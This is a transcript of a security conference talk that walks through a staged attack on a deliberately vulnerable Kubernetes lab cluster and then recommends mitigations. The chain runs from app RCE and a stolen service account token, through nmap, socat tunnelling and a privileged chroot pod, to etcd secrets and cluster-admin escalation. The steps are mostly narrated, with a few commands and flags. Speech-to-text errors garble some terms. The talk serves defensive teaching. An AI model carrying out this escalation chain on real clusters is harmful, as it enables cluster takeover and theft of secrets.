Hands-on Hacking Containers and ways to Prevent it

Thanks for coming. Thanks for finding the theater room, which was an adventure for me. I don't know about you. My name is Eric Smalling. I am a Developer Advocate at Sneak. We are a developer tooling company that specializes in security-related scanning kind of things. Not here to talk about Sneak today though. Today we're going to talk about hacking a Kubernetes cluster and how that can happen to you. A little bit about myself: I have a developer background, not an operations background, so when you hear me answer questions, that's the point of view I come from. I've done about 20 to 30 years, depending on how you look at it, in developer, DevOps, whatever. I'm a Docker Captain. You'll see grayed out my CKA because it just expired, but I'm about to renew my CKA. I have the normal Kubernetes certifications you might expect. If you care, I'm Eric Smalling on most of the socials. This is going to be a really quick run-through. You won't be able to follow along in this setting, but if you care to try this out afterwards, that is the GitHub repository that everything is in. I'll put that up again at the end of the slides, so take a picture of it now or then. It's a full workshop that we do, sometimes in like a big four-hour kind of thing where we tutorial walk through it, but today I'm just going to run through it real quick and try to get the gist of it for you.

So, today we're going to be talking about how the combination of app vulnerabilities and misconfigurations can allow an attacker to spread the radius of their attack to basically try to get to where they can take over a cluster. Now, this is a pattern that almost every major exploit in recent years has followed: application vulnerability gives an attacker the initial foothold and they can then set up a beachhead and then take application and infrastructure misconfigurations to extend that attack to the other parts of your system. And of course, today we're going to be talking about this in the context of Kubernetes. I'm going to walk you through the exploiting. It's a contrived exploitation in this case. I don't have time to set up an entire exploit using a real RCE, but we've got one that looks like an RCE.

So, that point, all the way to exploding cluster, not going to be much slides, really. This is all going to be demo. Hopefully, that's what you came to see. But to set the stage, what we're going to start from is that we have, what we know, as if we put our black hat on, is we have found a vulnerable web server out there, some 480, that is vulnerable to a remote code execution exploit. Now, in this case, it's going to be a contrived one that we built, a Flask app that allows me to do commands in it, but this is a real kind of thing. If you remember Log4Shell, Spring, these are both RCE type exploits, especially in Log4Shell's point of view, which were widely exploitable and easily exploitable.

And you'll also see, when we get into it, I'll be showing these slides kind of on the GitHub repository. I have a graph. We're going to be going what we call a "Timeline of Doom", where the scope increases as we go. We start from this initial exploit, we know we have an RCE in a container, and that's enough slides. Let me show you what that looks like.

Now, again, this is the GitHub repository, and I just want to take a second to say, if you see anybody from Sneak talking about anything and they give you a repository with the word "goof" in it, Kubernetes-goof in this case, that is highly vulnerable. Don't deploy this anywhere you care about because if you put this in production, this one's pretty contrived and not that bad of a deal, but we have other ones out there that have Log4Shell or Python exploits or other exploits in there. Don't deploy them anywhere. You have been warned. Just your laptop, just some sandbox that you own. So, I'm going to be walking through this, as you would if you're going to be using this GitHub repository.

There's a whole bunch of steps we're going to go through to exploit, and then we're going to talk about some mitigation patterns and technologies you can use to address these issues. The main point is: don't just deploy your own Kubernetes cluster and expect it to be secure by default. Don't ignore vulnerabilities in your applications. If you pay attention to all this, it will serve you well.

So, the first thing we're doing is skipping the setup because I've already cached it all locally. We're going to take a look at this. As I mentioned, from a hacker's perspective, we've found this vulnerable app. This is just a basic app with a function on it. But if I send a command equals "who am I", it ran "who am I" in the context of this server out there. So we can see that I'm a user named web admin.

Now, the first thing I might want to do if I had such an exploit is to examine our environment. What's happening on this server, or at least in this environment? By examining the environmental variables, we see a lot of Kubernetes port stuff and other related variables. From the names of these variables, we can deduce that we're probably running in a container in a Kubernetes cluster. The important one I want to highlight is the Kubernetes port. That IP in Kubernetes terminology is your API server from the viewpoint of this pod. That's interesting.

Next, I want to know, just for my records, the IP address of the machine I'm on. So we're going to check that. Unfortunately, I thought I had this cached. Let me just copy this. That's easier. Now we have the internal IP address of this pod in the pod network.

So, let's review:

1. We have an RCE vulnerability on port 80.
2. We deduced from the variables that we're likely running in a Kubernetes cluster.
3. We also noticed there was a web service port at 5000. So we're probably behind, listening actually on port 5000. This suggests there's some kind of ingress or something mapping us to that. Therefore, internally, port 5000 is what we care about.
4. We know the IP address of the pod we're on.

Now, I want to try to access the API server for this cluster. Every Kubernetes pod, by default, has a service. Every service account, by default, has a token that gets auto-mounted as a secret into the pod that's running. Let's examine that. What I've done is I've used a cat command to display that token located at /var/run/secrets/kubernetes.io/service-account/token.

As a side note, when creating a service account, you can turn off this auto-mounting feature. They leave this feature enabled by default, possibly because some utilities might need to communicate with Kubernetes. However, most business apps don't. In my opinion, it's not a good idea to leave this set to default. But that's the situation we have.

Another note: even without an RCE, if I had a directory traversal type exploit, I could access other files on a system. For instance, you could access the proc filesystem and see your environment that way.

Next, I want to check if I've got access to some other tools. I ran curl against google.com. I have curl available, and when I tried google.com, I received a 301 response. This means I have internet access. Some hackers, with this much access, might just start mining crypto or doing other harmful activities. But our goal here is different. We're targeting the cluster, not looking for financial gains.

Now, I want to use Curl to attack the API server itself. I don't have much time, so I'll quickly demonstrate. Imagine if I began probing every type of endpoint on a Kubernetes API cluster. I've found that the 'endpoints' endpoint is open. I've used curl, referenced the CA cert at its default location, and used the token as the authorization bearer, targeting the Kubernetes ports we found in the environmental variables, specifically targeting the API/v1/namespaces/default endpoint.

So, I'm hitting the endpoints in the default namespace. And if I look through this data, now I'm running locally cached here so that I don't have to worry about, you know, Wi-Fi. I'm running a kind cluster, which, if you're familiar with Kubernetes and Docker, it runs inside of a nested Docker networking situation. So, my cluster is localhost to me. But in a normal situation, that IP address would be the externally facing IP address, or there would be one of them in there that is that IP address.

Now, you might say, "Well, a Kubernetes cluster shouldn't have the API server exposed to the internet, right?" Well, this is just from last May. People expose their clusters all the time; it happens. Also, this could just be, you know, I could be attacking this from malware installed on a developer's laptop on the VPN of your company. And this is a QA cluster, still valuable to me. So, it doesn't matter. I've now figured out, let me scroll down, new info we found out now is that I have a service account and pod configuration to get me that token because they left the default set for this Auto Mount service account token. I have found that, and I've been able to get at the API server with it and found that the endpoints are available on that cluster.

So, our timeline? I'm doing — we've added a couple of things. We have a pod token available to us, and it allows access to the endpoints API. So, the next step I'm going to do is I want to find out more information about this cluster. But this is getting annoying, dealing with the remote code execution command, having to do it through a browser or curl or everything. I'd like to get direct access using `kubectl` into this cluster.

So, if I take what I learned, which is this token, and I'm going to copy it. And if you are doing this demo, there's a little helper script here. I'm going to create a kubeconfig that has that token in it. And like I said, this is kind, so I'm really on localhost 6443. But I put in my endpoint here if it wasn't. So, I'm going to run that, and I'm going to config equals. It drops this into a local file called demo kubeconfig. So now, if I do — I have `kubectl` alias `k` — `get pods`. Oh, forbidden. Pods is forbidden. Well, that's interesting, but it's telling me a little more information here. You can see in this error, the user "blah blah blah" cannot list resource pods in the default namespace. But in the user, there's a namespace in there: "system service account secure". There is a namespace named "secure", and this is an example of namespaces not really being security boundaries. Because just because you name your namespace "secure" doesn't necessarily mean it's secure. So, let's try the same command in that namespace. That's where this token came from. And sure enough, I can see a pod running in the namespace.

I am now connecting from an external terminal using `kubectl` into this cluster's "secure" named namespace, and I can see one pod running. And just to make sure I'm not getting ahead of myself, go back to my notes, we talk about that in here. Let's find out a little more. Let's see what else this thing can do. So, I can do `k auth can I — list` in the default namespace. Oh, that's two. There we go, the default namespace. So, is that still legible, you guys?

You can see, for whatever reason, RBAC is set to allow endpoints in here because maybe they need to control Kubernetes from their app. I don't know. But I had access to endpoints and default, but nothing else. Really, all this other stuff is boilerplate. If I ask now in the "secure" namespace, what can this token do? Resources wildcard has all the verbs. This is not that uncommon. A developer may make a service account and RBAC for their application in their deployment and think, "Hey, it's my namespace. I need to be able to do whatever. I don't know what all I need to do. I'm just going to blanket give myself everything in this namespace." And I appreciate that as a bad actor because now I'm going to do some other things here. So, let's make sure I'm not getting ahead of myself. So, that's me being happy that I have now found this.

So, my new info is that the token gathered has limited access in default, but it has broad access in the "secure" namespace. A little visualization of the things we know about the cluster now. And I apologize; I'm going really fast because this is a lot I'm trying to get through and make sure we have time for questions. Timeline to doom: We've added the fact that the service account gets too many permissions in this namespace. So now, let's attack this pod. Let's go after it and see what we can find out or what we can do from it. So, if we look at that pod, we're going to go ahead and try to exec into it. So, if I do a `k get pod` on the "secure" namespace, I want to do `k exec` with a terminal in the "secure" namespace. Into web admin and let's just see if we can start a shell. Of course, I can. So here I am and we know from the exploit before that we're the web admin user. That's a good thing. At least whoever designed this image and or deployment is not running as root in the container. So I don't have elevated privileges in this container.

Let's see if I can mutate the file system. I'll just touch a file. I can. So I was able to create a foo file. You can see at the bottom there, owned by the web admin user in this user source app directory. So this is not a read-only root file system container. If you're familiar with the way container runtimes work, when you start up your container, the image itself, those layers, it puts those together. Those are immutable basically. By default though, it'll put a read-write layer at the logical top that the process sees. If you're looking at like a filter, any mutations happening in the file system are done with a copy on write type of action. That foo was just added to that rewrite layer. You can simply start your container in a read-only mode and it won't create that layer, and it becomes immutable. Basically, there's a few asterisks to that which makes it a little harder for me to mess with your contents. But that's just interesting information for me at the moment.

What I really want to do is some things that I really do need to be root to do. So I'm going to try to sudo. Now sudo's not available to me. That's good. They didn't include sudo in their image. That's bad if they had done that, and good for them that they didn't. So, you know what? That's not as valuable to me because what I want, what I really want to do is I want to be root in a container. To do so, I'm going to get out of this exec and I'm going to try to deploy my own container. So first, I just want to see if I can deploy something that is root. I've got a yaml here called root pod. Simply going to deploy an Alpine image and sleep because Alpine defaults to root. So let's just do K of Y demo URLs. I believe that's root pod. Oh, in the secure namespace. Hey, we'll get pod.

I know I could set my default context, but I'm not going to secure and we got a create container config error. So it tried to create it, but let's do a describe on that and see why. Thank you. And we can see a bunch of information. This is the describe on the pods telling all the details and metadata about the pod. But in the log, we see an error: "container has run as an enroute and Rule image will run as root". That tells me something is active here. That's stopping me. That's turning on the "run as non-root" restrictor that's in this version of Kubernetes, which is 1.24. It's probably a pod security policy and I know Cloud security policies are deprecated and removed. We'll talk about that in a minute. But sure enough, that's what it is. We've got a PSP that is mutating my deployments to turn on run as non-root. That's a good thing to do and they are doing it. So I can't become roots with my own pod.

Going back to my notes, the next thing I'm going to do is I'm going to try to start up a privileged pod that's not root. So I have this non-root privileged pod that's going to run an image of my own making that runs as a non-root user, but I want to be privileged. Privileged is effectively your container runtimes in secure mode. It allows you to mount volumes from the host system. It allows you to basically do things on the host that you shouldn't be allowed to do. If you're writing a business app, you don't need privilege mode. If you're running utilities, service meshes, maybe you need to make privilege. But nine times out of ten, you don't. So you should not set privilege to true. But let's see if this cluster allows that. So we're going to do apply. What I'm going to do demo URLs non-root prove and immediately it fails. It tells me that privileged containers are not allowed and that this is pod security policy. So definitely, they've spent some time crafting a fairly good pod security policy for this namespace.

So what we know now is we're somewhat hardened. The image itself doesn't allow root and doesn't have sudo in it, so I can't elevate. We know that we have a mutable container, that's interesting. We have PSPs in place that are blocking root users and privileged containers. But the one thing, skipping ahead, one thing I didn't try is I've got another one here called non-root non-priv which is exactly the same without the privileged mode. So let's try to deploy that. I'm going to do K apply demo Euro demo yamos non-root non-proof. Let's see, your namespace. And it says it's deployed. And there's a sneaky pod. That is the one I just deployed and it did deploy okay. So let's exec into that.

Now, this is the image of my crafting, so I can do whatever I want. Now, you can see I'm not root. I am the user named "sneaky." But, because I made this image, I do have sudo, and I can become root. Why could I do that? That's because just because you are limiting root and/or privileged, escalating privilege is not a default. It is set to true. This is because some processes historically needed to, as they come up, often elevate privilege to do something, then set up a network thing, do whatever they need to do, and then they drop back down to their normal user. So when the folks at Docker and other container folks set up these defaults, they said, "We don't want to break; we want backwards compatibility. We don't want to break everything for everybody." So, we're going to leave that one allowed. Well, that's handy for me because a SUID file like Sudo is allowed.

Stop there for a second. That's what we know. The PSP did not disallow privilege escalation, so that's something you should be setting. Unless you have applications that absolutely need privilege escalation, in which case I would really tell you to take a look at those apps and see if there's a way to factor that away or to use Linux capabilities to do the same kinds of things. But we'll talk about that later. "Allow privilege escalation" should be false in your pod deployments and in your enforcement.

Next, I want to get out of this namespace. I've been kind of trapped in this secure namespace. I want to see if we can get out of that. Oftentimes on servers, especially let's imagine that we are hacking into a QA server or an internal staging server, there are other copies of the app running that developers may be playing with. I'd like to see if I can find another copy of this app out there in another namespace that maybe isn't as well protected. So, in order to do that, I'm going to use a tool called nmap. Before I do that, I want to see the IP address of this server. I want to get all my ducks in a row. We know the IP address of the vulnerable app because we pulled that through the browser earlier.

Now, I'm going to use this nmap tool. I'm a developer. I'm not a network engineer. I'm not a Linux admin. So, I know nmap as a thing that you use to look for exploits in programs. I'm sure it has valid uses by network engineers and for troubleshooting, but I'm not one of those. What this is saying is: search for any process listening on Port 5000 in the subnet 10.244.162./24. It's going to look across all the IP space in this pod network looking for any other process that's listening on Port 5000. We see two IP addresses came back: 132 and 133.

If you go back to my browser, we find the tab that had the IP. 132 is the initially exploitable app that we found first, so that's this one. 133 is not that, that's something else. It's not me. I'm running 137. So, something else in this cluster is listening on 5000 at that port.

Let's find out what that is. I know that this network really is not being protected. The fact that I'm able to use nmap around to look for open ports on things, the fact I can get out to the internet, all of that is telling me that they probably don't have a network policy in place. If they do have one, it's very wide open. So now, I want to try to escape our namespace.

I'm going to use socat, which is another nice little tool that allows you to tunnel. So now, I want you to listen on this sneaky pod that I've started up. I want to set up a listener on Port 5001. Any traffic that comes into this, send it to this other IP, this 133 port 5000.

Now, I'm going to start up a port forward from here. So, I'm going to copy and paste this. So, this is saying port forward localhost on this laptop to the sneaky pod Port 5001 in the secure namespace, which we saw has socat, which is going to send that. It's going to bounce it twice basically.

So now, we'll open another tab, and we'll go to localhost 5001. Sure enough, it's our app. Somebody's running another copy of this app out there. I didn't have to put a context on it because there's no ingress in between me and it. Now, let's see if it's exploitable. And yes, it is. The same exploit is available in this process running somewhere else in the cluster.

So, let's get its token. I'm going to grab that service account token and come out here. I don't need this tunnel anymore. I don't need socat. I'm going to edit my Cube config, comment that out, and paste this token I just copied from this other instance here.

Let's try to get pods. I can get pods in the default namespace now. And that sneaky pod is running from a test I did before this started. Let me correct that. I can now get pods in the default cluster. If I do an "auth can I --list", I can see that I have wildcard access in the default namespace on this cluster. Now, the service account I just got is from the default namespace.

Did all that. Did all that. And so now, I'm going to try to deploy my sneaky pod here. Apply demo URL, demo yamls, and I'm going to do non-proof, non-root. I'm going to try to deploy my privileged one and it didn't stop me. And there it is, container creating. So this tells me the Pod security policy and the RBAC in default is pretty wide open. Also not uncommon.

Now, there are religious wars that people who are here at this conference have tweeted about recently about whether or not you should allow people to deploy to your default namespace. It is just another namespace. There's no difference between it and Eric's namespace. However, I don't care. I can argue both sides of that argument. However, if you are going to let people deploy to the default namespace, make sure you lock it down. It is so easy to accidentally deploy something there and forget that we never locked it down. And in this case, I'm just able to start a privileged container in the default namespace. Let me go ahead and exec into it and we'll see what we can do with it.

So here I am in the sneaky pod. And yeah, so we're in here. And I know I can become root in my sneaky pod. So there I am, running as root. Now you might have noticed when I showed the yaml for this, this is also mounting the root file system and it's putting it into a mount path named CH root.

As root right now, if I do a PSAX, I'm seeing the normal things you would see. Now I have a go TTY running for other demos I give, but let's ignore that. This is just the processes in this container, in this process namespace. However, if I do CH root, it changes my root's Linux volume to that CH root mount. That's the processes on the entire machine. So I basically own this machine now. I am root on this node. Let that sink in a little bit.

So, what we now know: We have the IP address of another copy of a vulnerable app. We have found that the service account token from that app is in the default namespace. And that also means, again, auto service account token is set to true. But that's default. RBAC is wide open in default and the PSPs are either non-existent or very lax in default because it's default. It's the default. It's default. So again, no network controls seem to be in place to allow me to find this and PSP has little to no restrictions in this namespace. So let's move forward to get to where we can own this cluster.

So while I'm here, I would like to start poking around more on the API server. And I know that my token is only going to be good in the default namespace. But there's another token that's on every node if you can get at the node's file system. Let's see, kube config equals /etc/kubernetes. The kubelet has its own config, kubectl, which is my image. I have kube CTL available. I'm going to say now that I can see my nodes. So I know the names of the nodes. I can say get pod system. Can I see that? I'm not going to go through a ton of minutia here but given this, now this is getting very interesting.

Now the kubelet, I could try to start a pod with it, but I'll tell you right now you can't. You can't say kubectl create a deployment run up because the API server says kubelets don't need to do that. Kubelets own the runtime; they start their own containers. However, what I want to do now is I want to get at the secrets for some elevated privilege controllers and things. So, where are our secrets kept? They're kept in etcd. So let's go after that.

The first thing I'm going to do, and this is just talking about that, I could try to run BusyBox right here and it's going to fail because kubelet is not allowed to. I could try to get secrets and it's not going to let me because the kubelet is not allowed to do that. But there is, you remember from the pods I just listed, there's an etcd server in there. And I'm going to describe the pod that's running etcd.

This is a common pattern. If you just use a kubeadm install of a cluster and you don't externally deploy etcd, etcd is going to be in a pod right on your control plane. And the information throughout here is going to give me a lot of good stuff. About where are the credentials for the etcd server, what IPs and ports are running on, and all sorts of juicy pieces of information, including where on the host file system are said things installed on that server.

So the next thing I'm going to do is I'm going to get out of this sneaky pod. And I have another yaml file. What's my time? Four? Okay. Another yaml file that has an etcd client that I've already conveniently pre-populated with all the information you just saw from that describe. So I'm going to mount the file system, start it on the kind control plane node, and I'm going to set it up to connect using those values. So if we go back here, we're going to launch etcd client. There it is, running. And next, I'm going to copy a command out of here.

So the next thing I'm going to do is I'm going to just try to do an etcd member list, just to see if I've got a valid connection. And I do. You can see I got a response back. So I'm able to authenticate. The client can authenticate and connect to this etcd endpoint. So the next thing I want to do is get all the keys out of and look for secrets. And I only got a couple. So if you were running Kubernetes 1.23 or older, you would see a long list of secrets here, including a bunch of controllers. In 1.24, they by default have turned on a feature gate that stops secrets from being created for service accounts. But because it's a feature gate, gates can be turned off.

So given that I have the access to start things on the control plane and I have a nice little pod that I can do that with, I'm going to go edit my non-roots. Instead of running wherever it wants, I want it to run on the kind control plane. Oops, actually I have that. You can see I was practicing my demo. I've actually done that, so it happens to be running out there. So we'll just use the one that's running. Alright, got ahead of myself again.

So if I get pod, I've deployed non-repriv. Now if I do an O wide on this, you can see that it actually is running on the kind of control plane already. If I was really doing this by the steps, that would have been on a worker node and I'd kill it and start a new one on the pen. But it's there. So we're going to exec back into it. Here we go.

Alright, here we go! We're about to become root again. Let's proceed with our `chroot`. Actually, wait a moment... I don't really want a true `chroot`. Let me think... Yes, I do want it. But on second thought, maybe I don't. You see, `vim` is available within my container, but it's not accessible once I `chroot`. So instead, I'll `cd` into the mounted directory where I have `etc/kubernetes`.

Now, let's navigate further into the `manifests` directory. This is where you can locate your Kubernetes controller manager manifest. I'll access the controller manager now. Within, you'll find various configurations. To avoid any errors, I'll simply copy the relevant part to add our feature gate. Specifically, I'm adding: `FeatureGates=LegacyServiceAccountTokenNoAutoGenerate=false`. This is the gate I've been discussing. Mind the syntax though, I added a couple of extraneous characters there. It's the same feature gate which was set to `true` in version 1.24.

Having made those changes and saved, assuming no typos were made, this should signal the `kubelet` on the control plane to terminate and subsequently restart the process. If I step back out and wait for just a brief moment... Ah, here we go. The process might take a bit, but what it's aiming to do is pull all the secrets since I deactivated the aforementioned feature. The secret I'm mainly interested in is the `ClusterRoleAggregationController` token. Moving on, I'll copy this lengthy command and input it, designating our cluster destination as `ClusterAggregationModelZ88NJ`. That's a token I get. Yes. So now let's edit my demo kubeconfig back to the bottom and comment that one out.

I'll change this to the token I just grabbed. Okay, lists. Yes. So this is a different set, but you can see cluster roles are back. In authentication, I don't have full control of things, but I do have escalate, which is an interesting verb. If I come back now, I can use that to escalate. So I'm going to edit my cluster role. You see all the limitations I have right now, but if I just would like to do everything... If I do that off again, I now have wildcard on wildcard. I'm now God on the cluster. I can do pretty much anything I want. Again, we're very limited on time today, so I'm not going to play with a lot, but that's basically game over for your cluster.

Now, as we walk through this, I'm going to discuss what we discovered. But what are some of the mitigations and learnings we can take from this? The main takeaway is if you've got vulnerabilities in your app, which was the first point we got in, you should be looking for those. Scan for those. Stop those. Of course, my company has scanners you can use for this kind of thing, but use some kind of scanner. Do something to find these things. Every build you're doing, look for vulnerabilities at build time, as well as new vulnerabilities that arise. Always be rescanning or have tools that will do that for you.

You should also be monitoring your ISC files. For instance, our scanner running against the Kubernetes YAML for the contrived web app is telling you, "Hey, you're not setting privilege escalation control to false." So catch these things before they even get deployed. Next, turn off service account token auto. That's another thing that would stop me in my tracks on this exploit. If you go through this repository, it'll guide you on how to do that. It's straightforward. Just activate it and deploy your service accounts that way. There's also a pod setting, but do it with your service accounts. Get it done.

Now, we're talking about PSPs. I know PSPs are no longer in use. However, I continue to show this with PSPs because many clusters out there haven't upgraded to 1.25 or newer. It's going to take some time. You're still going to encounter pod security policy. In the next segment, we'll delve into the replacements for pod security policy. There isn't a direct substitution. There's effort involved in transitioning from PSPs to either PSA, Kyberno, or Opa. It's worth doing, and you need to do it, but it's going to take time. So, continue to focus on your PSPs. Ensure that private escalation is enforced by PSP.

Lock down your RBAC permissions. Especially if you're a cluster operator, pay attention to the default settings. One interesting thing I heard from someone about how they prevent people from deploying stuff was that they set their quotas to zero in default. So, you can deploy all you want, but nothing's going to run. That's a creative solution.

When it comes to network policies, initially, I found them intimidating. As a developer, when I began learning about network policy, I thought of them as firewalls, which I associated with network teams. However, network policies aren't that intimidating. They are simply a YAML representation of what your app needs to communicate between pods and other services. It's a clear syntax, and I'm a fan of setting up a denial-first approach. For all pods in this deployment, deny both ingress and egress. Technically, you need DNS, which I'm not covering here, for service discovery. But then, add what you need for your app. For instance, this app required a 5000 ingress on TCP, so you specify it. We'll talk more about understanding network policy shortly. But, don't be afraid of it. If you're a developer or an architect, ensure your developers understand network policy in a second, but just don't be afraid of it.

There are CNI specific network policy things you can be doing. Just in general, be doing it. And then, in this final section, I'm going to mention: yes, PSP is being removed. There's a good blog that Tabitha from security wrote, along with a couple others, on why and what was coming. Then the Kubernetes docs obviously have a ton of information about moving from PSPs to pod security admission. There are some things that pod security missions do not do that PSP did. Honestly, what I see most people talk about is going to a full-on admission controller policy engine, like Kubernetes, or like Kyverno or Gatekeeper, which is the admission controller with OPA. You write stuff in Rego. I don't care which one you use, use one of these things. Use more than one, I don't care.

I've seen some people use PSA plus one of these because you can divide up what's responsible for what, network policy-wise. It's kind of the standard thing most people know about. And if not, go to Ahmed Alped's policy recipes. It's a great, simple repository with nice animated graphics showing lots of examples. For instance, if you want to allow all traffic to a specific app, here's a way to do it. So, of course, I pick one that doesn't have a graphic. Most of these have little animated graphics to explain how they work.

The Cilium folks have a nice network policy.io website which has a graphical representation. You can craft a policy and see what it would look like logically. If you are going to use CNI specific policies, which you very well can, a lot of CNIs, aside from Flannel, have network policy capabilities that extend beyond the basic Kubernetes ones, such as cluster-wide policies and many other interesting features.

Ensure you understand that you're locking yourself to that CNI. This might not be an issue, but it's essential to know what you're doing. The Network Policy SIG is currently working on a Next Generation policy that will encompass many common aspects seen across the United. I haven't followed that SIG closely, so I would encourage you to look into what they're doing.

There's another topic I frequently get questions on. For instance, many companies have APM collectors or log collectors, and they need to communicate with certain ports. How do you ensure everyone is compliant? An interesting example I came across is a project called hierarchical namespaces in Kubernetes. It lets you set up, as the name suggests, a subtree dedicated to your ingress. But this subtree inherits from a parent tree. If you're familiar with Java development and Maven, think of it like a parent POM that sets some configurations, and your project inherits these settings. I haven't encountered anyone using this in production, so if you do, please reach out; I'd love to hear about it. I find it a fascinating concept.

Finally, join SIG Security. We meet bi-weekly to discuss Kubernetes security. If you're looking beyond just Kubernetes, there's also the CNCF Security TAG. I try to attend these meetings when possible, and it's a great place to learn about security from various experts. You can also contribute to securing CNCF projects and more. I've mentioned SIG Network, but there's also the OpenSSF.

Out of the CNCF world, OpenSSF is all about security. It's a Linux fund, another Linux Foundation group. It's good to know. With the remaining couple of minutes I have left, I'm sorry, I'm not going to have a lot of time for questions. But I do want to quickly get to the end of my slides. I just want to give thanks to a bunch of people here, especially the SIGs. A lot of the stuff you see here, I learned from these people on the SIGs. This is not special info that Eric figured out. We all sit on the shoulders of the people.

That's the repository I've been using. Feel free to clone that, open issues on it if you have questions or have better ways to do things or ideas. With that, I have exactly, I think, one and a half minutes for any quick question, otherwise I'll be in the back if you want to ask afterwards. Yes.

Statement in question: Most of these things are insecure defaults or poorly set up configurations. Whose responsibility is to set those things up? I'd say it's across the board. Your cluster operator, if you're going to run your own Kubernetes and you're not going to use a great managed solution like the ones our hosts here at Civo offer, which a lot of this wouldn't work in, like a managed cluster because the control plane is hardened. You're paying for that. You're paying that manager, that service provider to do that for you. But in my opinion, your cluster ops, whoever set up your cluster, needs to be setting up admission controllers and good settings for the default namespace and things like that. Developers though can't get away free. You need to be doing what I said, scanning your apps, understanding that the deployment yamls you're doing is infrastructure as code. There's a reason we call it IAC, and you need to scan that, get it embedded, test it, and work on threat modeling around it. So, it's a very shift-left DevSecOps kind of discussion. Is that okay? Okay. I think I am going to get kicked off the stage here, so I'll be in the back. I'll be at lunch, feel free to walk up, ask me any questions you got. Thank you for your time, sorry this was so fast.